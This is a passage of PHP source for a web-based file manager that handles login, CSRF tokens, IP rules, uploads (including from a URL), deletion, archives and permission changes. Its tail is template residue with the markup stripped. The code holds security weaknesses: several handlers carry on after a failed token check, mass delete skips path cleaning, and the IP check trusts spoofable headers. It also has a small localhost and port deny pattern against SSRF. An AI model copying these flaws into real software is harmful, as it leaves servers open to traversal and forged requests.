session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } //Generating CSRF Token if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } // Validate connection IP if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Checking if the user is logged in or not. If not, it will show the login form. if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) && verifyToken($_POST['token'])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // Handle all AJAX Request if ((isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']]) || !FM_USE_AUTH) && isset($_POST['ajax'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>

:

' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

